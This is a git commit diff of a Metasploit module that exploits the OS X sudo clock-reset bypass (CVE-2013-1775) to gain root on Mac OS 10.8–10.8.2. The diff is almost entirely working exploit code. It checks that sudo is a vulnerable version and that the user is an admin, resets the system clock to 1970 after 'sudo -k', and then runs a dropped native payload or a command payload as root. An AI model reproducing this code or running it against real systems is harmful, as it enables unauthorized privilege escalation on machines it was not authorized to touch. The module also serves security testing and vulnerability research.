Updates module to use native payload exe or a CMD target.
This commit is contained in:
parent
45db0c47db
commit
27c56cd3a3
|
@ -7,65 +7,115 @@
|
|||
##
|
||||
require 'shellwords'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
SYSTEMSETUP_PATH = "/usr/sbin/systemsetup"
|
||||
SUDOER_GROUP = "admin"
|
||||
VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']]
|
||||
|
||||
# saved clock config
|
||||
attr_accessor :time, :date, :networked, :zone, :network_server
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
super(update_info(info,
|
||||
'Name' => 'Mac OS 10.8-10.8.2 Sudo Password Bypass',
|
||||
'Description' => %q{
|
||||
Executes a command with root permissions on versions of OSX with
|
||||
Gains a session with root permissions on versions of OS X with
|
||||
sudo binary vulnerable to CVE-2013-1775. Works on Mac OS 10.8-10.8.2,
|
||||
and possibly lower versions.
|
||||
|
||||
If your session belongs to a user with Administrative Privileges
|
||||
(the user is in the sudoers file) and the user has ever run the
|
||||
"sudo" command, it is possible to become the super user by running
|
||||
`sudo -k` and then resetting the system clock to 01-01-1970.
|
||||
(the user is in the sudoers file and is in the "admin group"), and the
|
||||
user has ever run the "sudo" command, it is possible to become the super
|
||||
user by running `sudo -k` and then resetting the system clock to 01-01-1970.
|
||||
|
||||
Fails silently if the user is not an admin, or if the user has never
|
||||
Fails silently if the user is not an admin or if the user has never
|
||||
ran the sudo command.
|
||||
|
||||
Note: CMD must be the /full/path to the executable.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'joev <jvennix[at]rapid7.com>'],
|
||||
'Platform' => [ 'osx' ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter'],
|
||||
'References' => [
|
||||
['CVE', '2013-1775']
|
||||
]
|
||||
'References' => [['CVE', '2013-1775']],
|
||||
'Platform' => 'osx',
|
||||
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],
|
||||
'Targets' => [
|
||||
[
|
||||
'Mac OS X x86 (Native Payload)', {
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
], [
|
||||
'Mac OS X x64 (Native Payload)', {
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X64
|
||||
}
|
||||
], [
|
||||
'CMD', {
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultOptions' => { "PrependFork" => true },
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
register_options([
|
||||
OptString.new('CMD', [true, 'The command to run as root', '/usr/bin/whoami'])
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
groups = cmd_exec("groups `whoami`")
|
||||
systemsetup = SYSTEMSETUP_PATH
|
||||
if not groups.include?('admin')
|
||||
print_error "User is not in the 'admin' group, bailing."
|
||||
return
|
||||
# ensure target is vulnerable by checking sudo vn and checking
|
||||
# user is in admin group.
|
||||
def check
|
||||
if cmd_exec("sudo -V") =~ /version\s+([^\s]*)\s*$/
|
||||
sudo_vn = $1
|
||||
sudo_vn_parts = sudo_vn.split(/[\.p]/).map(&:to_i)
|
||||
# check vn between 1.6.0 through 1.7.10p6
|
||||
# and 1.8.0 through 1.8.6p6
|
||||
if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES)
|
||||
print_error "sudo version #{sudo_vn} not vulnerable."
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
else
|
||||
print_error "sudo not detected on the system."
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
if not user_in_admin_group?
|
||||
print_error "sudo version is vulnerable, but user is not in the "+
|
||||
"admin group (necessary to change the date)."
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
# one root for you sir
|
||||
Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
def exploit
|
||||
if not user_in_admin_group?
|
||||
fail_with(Exploit::Failure::NotFound, "User is not in the 'admin' group, bailing.")
|
||||
else
|
||||
# "remember" the current system time/date/network/zone
|
||||
print_good("User is an admin, continuing...")
|
||||
print_status("Saving system clock config...")
|
||||
@time = cmd_exec("#{systemsetup} -gettime").match(/^time: (.*)$/i)[1]
|
||||
@date = cmd_exec("#{systemsetup} -getdate").match(/^date: (.*)$/i)[1]
|
||||
@networked = cmd_exec("#{systemsetup} -getusingnetworktime") =~ (/On$/)
|
||||
@zone = cmd_exec("#{systemsetup} -gettimezone").match(/^time zone: (.*)$/i)[1]
|
||||
@network_server = if @networked
|
||||
cmd_exec("#{systemsetup} -getnetworktimeserver").match(/time server: (.*)$/i)[1]
|
||||
|
||||
# drop the payload (unless CMD)
|
||||
if using_native_target?
|
||||
write_file(drop_path, generate_payload_exe)
|
||||
register_files_for_cleanup(drop_path)
|
||||
cmd_exec("chmod +x #{[drop_path].shelljoin}")
|
||||
print_status("Payload dropped and registered for cleanup")
|
||||
end
|
||||
run_exploit
|
||||
|
||||
@time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1]
|
||||
@date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1]
|
||||
@networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/)
|
||||
@zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1]
|
||||
@network_server = if @networked
|
||||
cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1]
|
||||
end
|
||||
run_sudo_cmd
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -86,20 +136,60 @@ class Metasploit3 < Msf::Post
|
|||
super
|
||||
end
|
||||
|
||||
def run_exploit
|
||||
sudo_cmd_raw = ['sudo', '-S', datastore['CMD']].join(' ')
|
||||
private
|
||||
|
||||
def run_sudo_cmd
|
||||
sudo_cmd_raw = if using_native_target?
|
||||
['sudo', '-S', [drop_path].shelljoin].join(' ')
|
||||
elsif using_cmd_target?
|
||||
['sudo', '-S', payload.encoded].join(' ')
|
||||
end
|
||||
|
||||
# to prevent the password prompt from destroying session
|
||||
sudo_cmd = 'echo "" | '+sudo_cmd_raw
|
||||
|
||||
cmd_exec(
|
||||
"sudo -k; \n"+
|
||||
"#{SYSTEMSETUP_PATH} -setusingnetworktime Off -setdate 01:01:1970"+
|
||||
" -settime 00:00 -settimezone GMT"
|
||||
" -settimezone GMT -settime 00:00"
|
||||
)
|
||||
print_good "Running '#{sudo_cmd_raw}':"
|
||||
output = cmd_exec(sudo_cmd)
|
||||
|
||||
print_good "Running: "
|
||||
print sudo_cmd + "\n"
|
||||
output = cmd_exec(sudo_cmd, nil, 5)
|
||||
session.shell_write("\x1a") # send ctrl-z :)
|
||||
session.reset_ring_sequence
|
||||
if output =~ /incorrect password attempts\s*$/i
|
||||
print_error "User has never run sudo, and is therefore not vulnerable. Bailing."
|
||||
return
|
||||
fail_with(Exploit::Failure::NotFound,
|
||||
"User has never run sudo, and is therefore not vulnerable. Bailing.")
|
||||
end
|
||||
puts output
|
||||
print_good output
|
||||
end
|
||||
|
||||
# helper methods for accessing datastore
|
||||
def using_native_target?; target.name =~ /native/i; end
|
||||
def using_cmd_target?; target.name =~ /cmd/i; end
|
||||
def drop_path; '/tmp/joe.exe'; end
|
||||
|
||||
# checks that the user is in OSX's admin group, necessary to change sys clock
|
||||
def user_in_admin_group?
|
||||
cmd_exec("groups `whoami`").split(/\s+/).include?(SUDOER_GROUP)
|
||||
end
|
||||
|
||||
# helper methods for dealing with sudo's vn num
|
||||
def parse_vn(vn_str); vn_str.split(/[\.p]/).map(&:to_i); end
|
||||
def vn_bt(vn, ranges) # e.g. ('1.7.1', [['1.7.0', '1.7.6p44']])
|
||||
vn_parts = parse_vn(vn)
|
||||
ranges.any? do |range|
|
||||
min_parts = parse_vn(range[0])
|
||||
max_parts = parse_vn(range[1])
|
||||
vn_parts.all? do |part|
|
||||
min = min_parts.shift
|
||||
max = max_parts.shift
|
||||
(min.nil? or (not part.nil? and part >= min)) and
|
||||
(part.nil? or (not max.nil? and part <= max))
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue